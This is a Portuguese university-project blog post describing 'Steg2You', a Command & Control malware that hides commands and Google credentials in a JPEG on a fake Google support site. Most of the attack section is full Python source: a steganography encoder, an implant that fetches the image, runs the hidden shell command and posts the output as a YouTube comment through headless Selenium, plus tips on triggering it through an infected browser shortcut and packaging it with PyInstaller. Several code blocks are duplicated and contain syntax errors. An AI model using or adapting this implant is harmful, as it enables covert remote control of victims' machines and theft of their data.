top of page

Command & Control (C2)

Logo - FIAP

Faculdade de Informática e Administração Paulista

2020

São Paulo, Brasil

Como desafio do Challenge de 2020, recebemos do cliente "BlackStorm Security" a proposta de desenvolvimento de um projeto de pesquisa voltado a área de segurança da informação, mais especificamente o desenvolvimento de um Command & Control (C2).

Desafio dado é desafio cumprido, esse é o DNA FIAP!

Vambora! ↓

O que é um Command & Control (C2)?

"Um ataque Command And Control (C2 ou C&C), acontece quando o atacante se infiltra em um sistema e instala um malware que o permita enviar comandos remotamente para os dispositivos infectados através de um servidor" - PCMag

Esse ataque se caracteriza pela comunicação indireta, ou seja, onde o atacante não possui acesso diretamente ao dispositivo infectado, se utilizando de serviços/dispositivos intermediários para realizar o envio de comandos e a exfiltração de informações do sistema comprometido, e por este motivo é extremamente dificil chegar a real origem do ataque.

O Cliente:
BlackStorm Security

Fundada em 2017 por Alexandre Borges, A Blackstorm Security surge como uma alternativa na prestação de serviço especializado na área de segurança cibernética, como:
 

  • Análise de malware;

  • Engenharia reversa;

  • Análise forense digital;

  • Caça de ameaças;

  • Forense para Android/iOS;

  • Pentesting e privacidade.

Entendendo a Proposta

O desafio consiste em desenvolver um Malware do tipo Command & Control, mais específicamente focando na comunicação indireta e furtiva, de forma que passe despercebida pela rede do hipotético alvo. Para isso, foram dadas algumas premissas, como por exemplo:

  • A apresentação deverá ser baseada em uma startup criada pelos alunos;

  • Não será necessário definir um método de infiltração/infecção na máquina alvo;

  • A linguagem utilizada é de livre escolha dos alunos;

O projeto tem como objetivo propor novas formas de comunicação furtiva que podem ser usadas por atacantes, podendo assim ser usado para mitigar tais vetores de ação, promovendo um ambiente mais seguro. A proposta completa pode ser acessada abaixo:

Essa é uma proposta especialmente desafiadora para os alunos de Redes da FIAP:

Além dos conceitos abordados do curso, será necessário aprofundar os conhecimentos relacionados ao desenvolvimento de software, além de exercitar a criativide para propor maneiras de se infiltrar no sistema. Entendendo a mente de um atacante, estaremos melhor preparados para nos defender.

Reconhecimento

Steg2You

A ideia é a utilização da técnica de Esteganografia para ocultar em uma imagem os comandos que serão executados pelo malware, bem como as demais informações necessárias para o correto funcionamento do exploit.

"Esteganografia (do grego "escrita escondida") é o estudo e uso das técnicas para ocultar a existência de uma mensagem dentro de outra, uma forma de segurança por obscurantismo. O primeiro uso registrado da palavra data do ano de 1499, no livro Steganographia, de Johannes Trithemius." - Wikipedia

"Mas porquê uma imagem?"

Imagens são recursos que estão amplamente difundidos na internet, sendo disponibilizadas em praticamente qualquer website moderno durante o carregamento. Quem desconfiaria de um "simples jpeg", não é mesmo?

Neste caso optamos pela Esteganografia LSB (Less Significant Bit), mas para entender o que isso significa e como os comando serão ocultados dentro de uma imagem comum, precisamos entender alguns conceitos.

Entendendo o RGB:
Como a cor de um pixel é formada?

O sistema RGB é composto por uma combinação das cores Vermelho (Red), Verde (Green) e Azul (Blue) que, misturadas em diferentes proporções, podem gerar aproximadamente 16 milhões de cores.

A propoção de cada cor é definida por um valor que pode variar de 0 a 255, valor este que é constituído por 8 bits, podendo cada bit ter o valor individual de 0 ou 1, sendo então 2 [possibilidades] ^ 8 (bits), totalizando 256 combinações diferentes para cada uma das cores do RGB (0 a 255).


No exemplo abaixo, o tom alaranjado é formado por 218, 113, 83 (vermelho, verde e azul, respectivamente):

Steg_RGB_Expained.png

Cada bit possui seu proprio peso na cor resultante, com sua significância crescente da direita para a esquerda, sendo o utimo bit da esquerda, portanto, o mais significante (maior peso).

Uma boa forma de entender isso seria comparar a posição dos bits com a posição dos numeros que compoem um valor monetário - quanto mais a esquerda a mudança, mais impacto terá no valor. Pegue, por exemplo, o valor de R$ 10,00 - alterar o valor do digito mais a esquerda pode dobrar, triplicar ou até mesmo zerar o valor.

R$ 00,00
R$ 10,00
R$ 20,00
R$ 30,00
Assim como em valores monetários, o numero mais a esquerda é o mais significante, ou seja, possui maior impacto quando alterado.

Da mesma forma, alterar o ultimo digito a direita (menos significante), praticamente não altera o valor - pode-se dizer que 10,01 continua sendo, na prática, 10 reais.

E a nossa ideia é fazer justamente isso: alterar apenas "os centavos" dos pixels, de forma que a diferença de cor seja imperceptível, mas que a mensagem maliciosa esteja lá, pronta para ser extraída e interpretada pelo nosso malware.

Modificando Imagens

Agora que entendemos o conceito de Estenografia LSB, vamos ver como seria possível utilizar essas pequenas modificações para inserir mensagens de maneira furtiva em nossas imagens.

Como você deve ter percebido, estamos limitados a escrever zeros e uns (sistema binário), então teremos que traduzir a informação que desejamos inserir, neste caso o caractere 'A', para o sistema binário e, para isso, utilizaremos a tabela ASCII:

"Código Padrão Americano para o Intercâmbio de Informação (do inglês American Standard Code for Information Interchange - ASCII, pronunciado [áski]) é um sistema de representação de letras, algarismos e sinais de pontuação e de controle, através de um sinal codificado em forma de código binário (cadeias de bits formada por vários 0 e 1), desenvolvido a partir de 1960, que representa um conjunto de 128 sinais: 95 sinais gráficos (letras do alfabeto latino, algarismos arábicos, sinais de pontuação e sinais matemáticos) e 33 sinais de controle, utilizando 7 bits para representar todos os seus símbolos." - Wikipedia - ASCII

Observando a tabela ASCII verificamos que a representação binária de 'A' é '0100 0001':

ASCII_Table.jpg

Abaixo é possível visualizar um exemplo de como seria camuflar o caractere 'A' (0100 0001) dentro de 3 pixels, modificando apenas o bit menos significante de cada bloco, conforme explicado anteriormente:

Steg_bits_explained.png

Evidentemente, precisaremos saber quais foram os pixels modificados para que a mensagem possa ser recuperada posteriormente, mas não teremos que nos preocupar com isso graças a bibliotéca "Stegano", um projeto desenvolvido em Python!

Abaixo um exemplo de como inserir uma mensagem e uma imagem utilizando esta biblioteca.

Stegano - Example.py

from stegano import exifHeader ## Dependencia para JPG

msgSecreta = "Seja bem vindo ao pauloctech.com.br!"

secret = exifHeader.hide(".\img_original.jpg", ".\img_mod.jpg", secret_message=msgSecreta)

## Revelando o conteúdo oculto na imagem ##

print(exifHeader.reveal(".\img_modificada.jpg"))

Recomendo ler a documentação para entender como instalar a biblioteca e sua aplicação, pois o exemplo acima cobre apenas imagens "jpg" e "tiff". 

Steg2You

Diagrama do ataque

Agora que já entendemos os conceitos de estegangorafia, RGB e como podemos esconder mensagens em imagens, vamos abordar o diagrama de como este ataque irá funcionar.

Requisitos:

  1. Possuir um site/serviço onde sua imagem estará armazenada. Um bucket S3 na AWS? Um site legítimo de terceiros que tenha comprometido anteriormente? No nosso caso, utilizaremos uma falsa página de suporte do Google, hospedado no Google Sites;
     

  2. O site/serviço em questão não pode comprimir/converter/redimensionar as imagens, pois a técnica é sensível a este tipo de mudança, ou seja, a imagem deve ser mantida original;
     

  3. Um canal no Youtube com um vídeo hospedado de forma privada (somente aqueles com o link poderão assisti-lo), para que seja possível receber possíveis informações extraídas do alvo;
     

  4. Uma conta Google falsa para que nosso malware possa autenticar e postar o comentário em nosso vídeo;

Steg2You_Diagrama.png

toque na imagem para expandir

  1. O atacante modificará uma imagem hospedada em nosso site comprometido, adicionando as informações necessárias para que o malware realize o ataque. No nosso caso, serão necessárias as seguintes informações: login Google, senha Google, link do vídeo e o comando a ser executado;
     

  2. O ataque terá início quando a vitima abrir o navegador para utilizar a internet;
     

  3. O malware fará um request em nosso site, buscando a imagem modificada para realizar a extração de informações e execução de comandos;
     

  4. Após executar as tarefas ordenadas, caso o comando possua algum retorno, ele será enviado em forma de comentário para um vídeo hospedado no canal mantido pelo atacante;
     

  5. Quando o atacante achar conveniente, fará a busca neste vídeo para visualizar as informações extraídas da vítima, isso sem nunca ter feito um acesso direto a máquina comprometida (Command & Control).

Modificando
a imagem alvo

Com nosso site falso do Google criado, a imagem que utilizaremos para inserir nossos comandos será o logo da empresa, localizado no canto superior esquerdo da página:

Google_Site.png

Utilizaremos o script abaixo para inserir as informações necessárias:

Steg2You - Encrypt.py

from stegano import exifHeader ## Dependencia para JPG


#linkVideo = 'https://www.youtube.com/watch?v=uL-lzPdg-Cc'
linkVideo = https://accounts.google.com/signin/v2/identifier?

            service=youtube&uilel=3&passive=true&continue=https%3A%2F%2F

            www.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app

            %3Ddesktop%26hl%3Dpt%26next%3D%252Fwatch%253Fv%253DuL-lzPdg-

            Cc&hl=pt-BR&flowName=GlifWebSignIn&flowEntry=ServiceLogin'

'

comando = 'date /t'
loginGoogle = 'pwned@gmail.com'
senhaGoogle = 'pauloctech@combr'

mensagemSecreta = "%s*%s*%s*%s*" % (linkVideo, comando, loginGoogle, senhaGoogle)

print(mensagemSecreta)

secret = exifHeader.hide("google.jpg", "google_mod.jpg", secret_message=mensagemSecreta)

## Dependencia para JPG

from stegano import exifHeader


#linkVideo = 'https://www.youtube.com/watch?v=uL-lzPdg-Cc'
linkVideo = https://accounts.google.com/signin/v2/identifier?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2F

www.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app

%3Ddesktop%26hl%3Dpt%26next%3D%252Fwatch%253Fv%253DuL-lzPdg-

Cc&hl=pt-BR&flowName=GlifWebSignIn&flowEntry=ServiceLogin'

'

comando = 'date /t'
loginGoogle = 'pwned@gmail.com'
senhaGoogle = 'pauloctech@combr'

mensagemSecreta = "%s*%s*%s*%s*" % (linkVideo, comando, loginGoogle, senhaGoogle)

print(mensagemSecreta)

secret = exifHeader.hide("google.jpg", "google_mod.jpg", secret_message=mensagemSecreta)

Notas:

1. Repare que ao invés de fornecer o link do vídeo diretamente, eu utilizei uma URL de redirecionamento de login. Isso é necessário para que seja possível realizar o login antes de realizar a postagem do comentário no vídeo alvo.

Para obter este link, basta acessar o vídeo em uma aba anônimia e tentar comentar, o Youtube fará o redirecionamento para o link acima.

2. A informação que será adicionada à imagem é uma composição de todos os dados necessários (login, senha, link e comando), tudo em uma única linha de texto (string). Quando essas informações forem extraídas pelo nosso Malware, será necessário separá-las novamente e para isso utilizei em sua composição um caractere '*' para delimitar onde cada informação começa e termina.

caractere_delimitador.png

toque na imagem para expandir

Você consegue dizer qual é a imagem original e qual é a modificada?

Google_Logo_Original.jpg
google_mod.jpg

O script abaixo pode ser utilizado para confirmar se o conteúdo foi realmente inserido na imagem:

Steg2You - Decrypt_Local.py

from stegano import exifHeader ## Dependencia para JPG


# Recebendo e convertendo o objeto do tipo Bytes em String com o método .decode()
extracted = exifHeader.reveal("image.jpg").decode('ASCII')

# Separando as informações pelo separador "*"

'

videoLink = extracted.split("*")[0]
rawCommand = extracted.split("*")[1]
googleLogin = extracted.split("*")[2]

googlePassword = extracted.split("*")[3]

# Imprimindo informações para simples conferência

comando = rawCommand

print(comando)

print(videoLink)

print(googleLogin)

print(googlePassword)

from stegano import exifHeader ## Dependencia para JPG


# Recebendo e convertendo o objeto do tipo Bytes em String com o método .decode()
extracted = exifHeader.reveal("image.jpg").decode('ASCII')

# Separando as informações pelo separador "*"

'

videoLink = extracted.split("*")[0]
rawCommand = extracted.split("*")[1]
googleLogin = extracted.split("*")[2]

googlePassword = extracted.split("*")[3]

# Imprimindo informações para simples conferência

comando = rawCommand

print(comando)

print(videoLink)

print(googleLogin)

print(googlePassword)

Agora basta hospedar a sua imagem no serviço alvo, no meu meu caso, o site Google falso. 

Criando

nosso malware

Chegou a hora de colocar a mão na massa, abaixo está o código do malware, com comentários sobre cada trecho e sua funcionalidade.

O código é composto pelas seguintes etapas:

 

  1. Importar dependências necessárias;

  2. Indicar onde a imagem modificada está armazenada (endereço web);

  3. Baixar a imagem e trata-la (armazenar);

  4. Extrair a informação inserida através da esteganografia;

  5. Tratar as informações extraídas, visto que todas foram adicionadas em uma única string;

  6. Executar os comandos obtidos através das etapas anteriores;

  7. Armazenar retorno dos comandos executados;

  8. Realizar o retorno dos comandos executados através de um comentário em vídeo do youtube.

Esta ultima etapa pode ser a parte mais complicada, devido ao processo de identificar e referenciar os elementos web com os quais queremos interagir (botões, caixas de texto, etc).

Para referenciar em nosso código os objetos com os quais desejamos interagir será necessário obter um identificador. Temos algumas opções como XPATH (XML Path Language), ID ou CSS Selector. Independente de qual informação você utilizará para referenciar os elementos, podemos obter todas através do DevTools do Google Chrome (F12), conforme demonstrado abaixo:

DevTools_1.jpg

Usando a página acima como exemplo, irei mostrar como identificar um elemento para que seja possível interagir com ele no seu código utilizando Selenium. O primeiro passo é pressionar a tecla F12 para que o DevTools (console do navegador) seja exibido:

Com o DevTools aberto, agora é possível visualizar uma série de ferramentas. A ferramenta que irá nos auxiliar a identificar os elementos será a "Inspecionar", sinalizada por uma pequena seta no canto esquerdo superior do console:

Ao clicar nessa ferramenta e arrastar o mouse pela página, os elementos serão realçados e ao clicar diretamente sobre um destes componentes, o console destacará o trecho de código correspondente:

Agora basta clicar com o botão direito sobre o trecho de código em questão, navegar até a opção "Copy" e copiar a referência desejada (Ex: XPATH):

Com essa questão esclarecida, vamos ao código:

Legenda de Dependências:
 

[1] OS - Micellaneous Operating System Interfaces - Este módulo oferece funcionalidades ligadas ao sistema operacional, como por exemplo abrir arquivos, manipular caminhos, etc;

[2] Selenium WebDriver - Dependências do Selenium, módulo utilizado para automatizar interações com o navegador, muito utilizado em testes automatizados;

[3] By [Selenium] - Utilizada para aguardar o carregamento de elementos de páginas web (1);

[4] Keys [Selenium] - Utilizada para realizar o envio de teclas para o navegador (WebDriver);

[5] WebDriverWait [Selenium] - Utilizada para aguardar o carregamento de elementos das páginas web (2);

[6] Expected Conditions [Selenium] - Utilizada para aguardar o carregamento de elementos das páginas web (3);

[7] Options [Selenium] - Utilizada para configurar as opções do WebDriver, como por exemplo o modo headless (sem interface gráfica visível);

[8] ActionChains [Selenium] - Utilizada para enviar interações de baixo nível, como movimentos do mouse, ações dos botões do mouse, envio de determinadas teclas, dente outros;

[9] exifHeader [Stegano] - Dependencia utilizada para manipular as imagens .jpeg;

[10] Requests - Biblioteca http, utilizada para solicitar/carregar páginas web;

[11] shutil - Módulo para operações de alto nível envolvendo arquivos;

[12] imghdr - Módulo utilizado para determinar o tipo de imagem de um arquivo;

[13] check_output [subprocess] - Utilizado para enviar e receber o retorno dos comandos executados no sistema operacional.

Steg2You - Steg2You.py

import os # [1]

from selenium import webdriver # [2]

from selenium.webdriver.common.by import By # [3]

from selenium.webdriver.common.keys import Keys # [4]

from selenium.webdriver.support.wait import WebDriverWait # [5]

from selenium.webdriver.support import expected_conditions as EC # [6]

from selenium.webdriver.chrome.options import Options # [7]

from selenium.webdriver.common.actions_chains import ActionChains # [8]

from stegano import exifHeader # [9]

from requests # [10]

import shutil # [11]

import imghdr # [12]

from subprocess import check_output # [13]


# Configurando a URL e o nome da imagem
image_url = "[URL DA SUA IMAGEM AQUI]"

filename = image_url.split ("/")[-1]

# Abrir a URL da imagem
r = requests.get(image_url, stream True)

# Verifica se o Request foi efetuado com sucesso (status code == 200)

if r.status_code == 200:

   # Setar o valor de decode_content em  True, se nao a imagem baixada tera tamanho zero

   r.raw.decode_content = True

   

   # Abre um arquivo local com a permissão wb (write binary)

   with open(filename, 'wb') as f:

      shutil.copyfileobj(r.raw, f)

   # Verifica o tipo de arquivo pelo cabeçalho e adiciona a extensão

   extension = (imghdr.what(filename))

   new_filename = '%s.%s' % (filename, extension)

   try:

      os.rename(filename, new_filename)

   except WindowsError:
      os.remove(new_filename)

      os.rename(filename, new_filename)

   print('Download efetuado com sucesso: ',  new_filename)

else:

   print('Não foi possivel baixar')

 

##### Descriptografar JPG #####

# O metodo 'decode' converte objetos em 'bytes' para 'string'

extracted = exifHeader.reveal(new_filename).decode('ASCII')

# Separando as informações recebidas pelo separador '*'


videoLink = extracted.split("*")[0] 

rawCommand = extracted.split("*")[1]

googleLogin = extracted.split("*")[2]  

googlePassword = extracted.split("*")[3] 

# Executando os comandos na prompt e armazenando retorno na variável 'commandReturn'


commandReturn = check_output(rawCommand, shell=True).decode("ASCII")

print(commandReturn)

##### Configuração do ChromeDriver/Selenium #####

##### Recomendado ler documentação para visualizar as opções disponíveis #####

 

Options = Options()

options.headless = True

options.add_argument("--window-size=1920x1080")

options.add_argument("disable-extensions")

options.add_argument("--no-sandbox")

options.add_argument("--start-maximized")

options.add_argument("--disable-gpu")

options.add_argument("--allow-insecure-localhost")

options.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36')

options.add_argument("--enable_javascript")

options.add_argument("--disable-web-security")

options.add_argument("--log-level=3")

options.add_experimental_option('excludeSwitches', ['enable-loggin'])

# Cria um objeto 'driver' baseado nas opções definidas para o nosso ChromeDriver/Selenium

driver = webDriver.Chrome(options=options)

# Acessa o link fornecido na imagem alvo

driver.get(videoLink)

##### Login #####

# Inserindo o usuário

userNameField = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, 'identifierID')))

userNameField.send_keys(googleLogin)

# Clicando no botão Avançar

AdvanceButton = driver.find_element_by_xpath('//*[@id="identifierNext"]/div/button/div[2]')

AdvanceButton.click()

# Inserindo a senha

passwordField = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'input[type='password']'

passwordField.send_keys(googlePassword)

# Clicando no botão de login

loginButton = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, '/*[@id="passwordNext"]/div/button/div[2]'

loginButton.click()

# Parar a execução automática do vídeo

driver.execute_script('videos = document.querySelectorAll("video"); for(video of videos) {video.pause()}')

# Voltando ao contexto default/padrao

driver.switch_to.default_content()

# Dando scroll na página enviando a tecla PageDown

actions = ActionChains(driver)

actions.send_keys(Keys.PAGE_DOWN)

actions.perform()

##### Postar um comentário #####

# Clicando na caixa de comentários

commentTextBox = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "simplebox-placeholder")))

comentTextBox.click()

# Aguarda pelo elemento que de fato recebe o texto

textArea = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.ID, "contenteditable-root")))

# Aguarda que o botao de submit esteja visivel e clica

sendButton = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "submit-button")))

sendButton.click()

# Encerra a instância do ChromeDriver/Selenium

driver.close()

import os # [1]

from selenium import webdriver # [2]

from selenium.webdriver.common.by import By # [3]

from selenium.webdriver.common.keys import Keys # [4]

from selenium.webdriver.support.wait import WebDriverWait # [5]

from selenium.webdriver.support import expected_conditions as EC # [6]

from selenium.webdriver.chrome.options import Options # [7]

from selenium.webdriver.common.actions_chains import ActionChains # [8]

from stegano import exifHeader # [9]

from requests # [10]

import shutil # [11]

import imghdr # [12]

from subprocess import check_output # [13]


# Configurando a URL e o nome da imagem
image_url = "[URL DA SUA IMAGEM AQUI]"

filename = image_url.split ("/")[-1]

# Abrir a URL da imagem
r = requests.get(image_url, stream True)

# Verifica se o Request foi efetuado com sucesso (status code == 200)

if r.status_code == 200:

   # Setar o valor de decode_content em  True, se nao a imagem baixada tera tamanho zero

   r.raw.decode_content = True

   

   # Abre um arquivo local com a permissão wb (write binary)

   with open(filename, 'wb') as f:

      shutil.copyfileobj(r.raw, f)

   # Verifica o tipo de arquivo pelo cabeçalho e adiciona a extensão

   extension = (imghdr.what(filename))

   new_filename = '%s.%s' % (filename, extension)

   try:

      os.rename(filename, new_filename)

   except WindowsError:
      os.remove(new_filename)

      os.rename(filename, new_filename)

   print('Download efetuado com sucesso: ',  new_filename)

else:

   print('Não foi possivel baixar')

 

##### Descriptografar JPG #####

# O metodo 'decode' converte objetos em 'bytes' para 'string'

extracted = exifHeader.reveal(new_filename).decode('ASCII')

# Separando as informações recebidas pelo separador '*'


videoLink = extracted.split("*")[0] 

rawCommand = extracted.split("*")[1]

googleLogin = extracted.split("*")[2]  

googlePassword = extracted.split("*")[3] 

# Executando os comandos na prompt e armazenando retorno na variável 'commandReturn'


commandReturn = check_output(rawCommand, shell=True).decode("ASCII")

print(commandReturn)

##### Configuração do ChromeDriver/Selenium #####

##### Recomendado ler documentação para visualizar as opções disponíveis #####

 

Options = Options()

options.headless = True

options.add_argument("--window-size=1920x1080")

options.add_argument("disable-extensions")

options.add_argument("--no-sandbox")

options.add_argument("--start-maximized")

options.add_argument("--disable-gpu")

options.add_argument("--allow-insecure-localhost")

options.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36')

options.add_argument("--enable_javascript")

options.add_argument("--disable-web-security")

options.add_argument("--log-level=3")

options.add_experimental_option('excludeSwitches', ['enable-loggin'])

# Cria um objeto 'driver' baseado nas opções definidas para o nosso ChromeDriver/Selenium

driver = webDriver.Chrome(options=options)

# Acessa o link fornecido na imagem alvo

driver.get(videoLink)

##### Login #####

# Inserindo o usuário

userNameField = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, 'identifierID')))

userNameField.send_keys(googleLogin)

# Clicando no botão Avançar

AdvanceButton = driver.find_element_by_xpath('//*[@id="identifierNext"]/div/button/div[2]')

AdvanceButton.click()

# Inserindo a senha

passwordField = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'input[type='password']'

passwordField.send_keys(googlePassword)

# Clicando no botão de login

loginButton = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, '/*[@id="passwordNext"]/div/button/div[2]'

loginButton.click()

# Parar a execução automática do vídeo

driver.execute_script('videos = document.querySelectorAll("video"); for(video of videos) {video.pause()}')

# Voltando ao contexto default/padrao

driver.switch_to.default_content()

# Dando scroll na página enviando a tecla PageDown

actions = ActionChains(driver)

actions.send_keys(Keys.PAGE_DOWN)

actions.perform()

##### Postar um comentário #####

# Clicando na caixa de comentários

commentTextBox = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "simplebox-placeholder")))

comentTextBox.click()

# Aguarda pelo elemento que de fato recebe o texto

textArea = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.ID, "contenteditable-root")))

# Aguarda que o botao de submit esteja visivel e clica

sendButton = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "submit-button")))

sendButton.click()

# Encerra a instância do ChromeDriver/Selenium

driver.close()

Agora que nós temos o nosso malware programado, como ele será acionado?

A ideia é infectar o atalho de um navegador, que quando inicializado, será responsável por disparar o software malicioso. Isso pode ser feito de algumas formas (batch, vbs, etc), use sua criatividade!

Confira abaixo como foi a apresentação deste projeto:

Oportunidades
de melhorias

Apesar de interessante, a proposta possui suas limitações e mesmo dentro destas limitações, é possível realizar diversas melhorias, como por exemplo:

  • Cifrar o retorno do comando antes de postá-lo no comentário do YouTube;

  • Transformar nosso código Python em um executável utilizando o PyInstaller;

E com isso chegamos ao fim do post, obrigado por ter lido até aqui ;)

Abraços!

Programação
bottom of page